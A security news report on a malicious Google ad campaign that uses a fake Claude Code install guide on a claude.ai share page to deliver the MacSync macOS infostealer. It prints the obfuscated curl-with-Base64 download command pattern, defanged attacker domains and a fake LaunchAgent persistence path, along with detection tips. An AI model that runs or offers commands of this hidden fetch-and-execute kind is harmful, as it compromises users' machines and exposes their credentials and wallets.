A malicious Google ad campaign is targeting macOS users searching for “how to install Claude Code on Mac,” using a convincing Claude-branded installation guide to deliver MacSync infostealer malware.
The campaign steals developer credentials, browser sessions, SSH keys, cloud tokens, and cryptocurrency-wallet data.
The attack does not exploit Anthropic systems or a software vulnerability. Instead, it abuses a familiar developer workflow: searching for a tool, clicking a sponsored result, and copying a terminal command.
The ad directs victims to a real claude.ai/share/… page designed to resemble a legitimate installation guide.
The page carries trusted visual signals, including the genuine Claude interface and a “Shared by Apple Support” label, making the lure difficult to identify through a quick domain check.
Unlike the official Claude Code installation command, the malicious instruction hides its download location using Base64 encoding and command substitution:
curl -kfsSL $(echo '<base64>' | base64 -D)The command decodes a hidden URL and passes it to curl, preventing users from seeing where their Mac will connect before execution. It also includes the -k option, which turns off TLS certificate validation.
Researchers decoded the concealed destination as:
hxxp://hybridcustomhomes[.]com/curl/720e1e04c2690ac14874d54823354d6bd06336b23e8458debaffeb2b18f5be6aThis is not an Anthropic-controlled domain. The opaque delivery path, use of plain HTTP, and certificate-validation bypass are strong signs of a malicious installer.
Fake Claude Installer Steals Credentials
The downloaded payload is MacSync, a macOS infostealer that focuses on high-value personal, financial, and developer data. It can collect Keychain contents, stored browser passwords, cookies, and authenticated browser sessions.
Session-cookie theft is especially dangerous because attackers may hijack active accounts without needing the victim’s password or completing a fresh multi-factor authentication challenge.
For developers, the potential exposure can extend to SSH keys, cloud credentials, Kubernetes configuration files, npm and PyPI tokens, and other secrets stored on the device.
MacSync also targets Telegram Desktop sessions and more than 80 cryptocurrency wallets. The campaign infrastructure includes /ledger/ and /ledger/live/ paths associated with Ledger Live trojanisation and seed-data theft.
The malware reportedly establishes persistence through a LaunchAgent posing as Google Keystone:
~/Library/LaunchAgents/com.google.keystone.agent.plistThe operation reportedly uses additional local-business-themed domains, including houstongaragedoorinstallers[.]com and mansfieldpediatrics[.]com, suggesting a repeatable infrastructure strategy, substack said.
Developers should install Claude Code only from Anthropic’s official documentation. The legitimate installer is:
curl -fsSL https://claude.ai/install.sh | bashTreat any installation command as suspicious when it conceals a URL with Base64, uses $(…) command substitution, includes -k, relies on HTTP, or contacts a domain unrelated to the software vendor.
Cut SOC investigation blind spots and contain threats earlier to reduce response costs and business disruption with ANY.RUN.
